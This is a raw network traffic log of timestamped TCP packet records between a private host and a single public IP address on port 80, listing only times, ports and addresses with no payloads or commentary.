Nov 19, 2024 19:14:21.238104105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238115072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238197088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.238197088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.238133907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238230944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238233089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238234043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238234043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238234997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238235950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238395929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.238806963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238821030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238838911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238852024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238864899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238878012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238890886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238903999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238915920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238931894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.238996983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239000082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239000082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239000082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239000082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239000082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239011049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239023924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239038944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239051104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239064932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239077091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239089966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239103079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239120960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239134073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239147902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239161968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239167929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239228964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239228964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239228964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239228964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239228964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239228964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239609957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239623070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239634991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239648104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239660978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239674091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239700079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239712954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239725113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239739895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239742041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239742041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239742041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239753962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239754915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239768028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239784956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239793062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239799023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.239850044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.239850044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.271334887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.280612946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280637026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280652046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280731916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.280750036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280761003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280771971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280787945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280868053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.280868053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.280982018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.280993938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281007051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281018019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281023979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281029940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281033039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281034946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281040907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281049013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281131029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281232119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281248093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281264067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281286001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281299114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281318903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281333923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281339884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281339884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281346083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281359911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281363964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281373978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281578064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281582117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281582117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281590939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281604052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281621933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281625032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281630993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281645060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281681061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281779051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281791925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281805992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281822920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281888008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281899929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281912088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281927109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.281945944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.281949043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282042027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282061100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282074928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282087088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282098055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282105923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282110929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282121897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282135010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282186985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282186985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282187939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282424927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282438040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282452106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282479048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282490969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282502890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282516003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282527924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282535076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282535076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282535076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282541990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282553911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282567024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282567024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282588005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282599926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282612085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282624960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282636881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282651901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.282686949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282686949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282686949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282686949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.282686949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283006907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283020020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283032894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283045053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283056974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283061981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283075094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283087969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283092976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283107996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283118963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283122063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283124924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283138037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283149958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283162117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283175945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283189058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283202887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283216000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283229113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283243895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283257008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283298969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283298969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283298969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283298969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283298969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283298969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283298969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283796072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283817053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283830881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283852100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283864975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.283865929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283881903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283895969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283910036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283922911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283931017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283942938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283948898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283955097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283967972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283973932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283982992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.283989906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284004927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284017086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284029007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284040928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284040928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284040928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284043074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284040928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284058094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284081936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284547091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284559011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284575939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284579039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284585953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284598112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284610987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284626961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284630060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284642935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284653902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284667015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284678936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284692049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284704924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284717083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284729958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284748077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284759998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284771919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284784079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284786940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284786940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284786940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284786940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284786940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284786940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284786940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284796000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284815073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284826994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284838915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284851074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.284920931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284921885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284921885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.284921885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285341024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285352945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285363913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285375118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285387039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285399914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285444975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285444975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285444975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285502911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285516024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285535097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285547018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285558939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285569906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285587072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285609007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285609007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285609007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285835028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285847902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285868883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285881996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285892010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285897017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285902023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285907984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285912991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.285913944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285919905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285928965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285933971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285945892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285953999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.285972118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286015034 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286153078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286351919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286364079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286376953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286389112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286401987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286415100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286416054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286428928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286442995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286443949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286474943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286504984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286518097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286529064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286542892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286549091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286555052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286561012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286572933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286573887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286586046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286598921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286614895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286627054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286638975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286652088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286658049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286669970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286669970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286670923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286672115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.286717892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.286717892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287251949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287264109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287280083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287292004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287318945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287332058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287334919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287334919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287344933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287358999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287369967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287381887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287394047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287394047 CET	49738	80	192.168.2.4	185.215.113.16
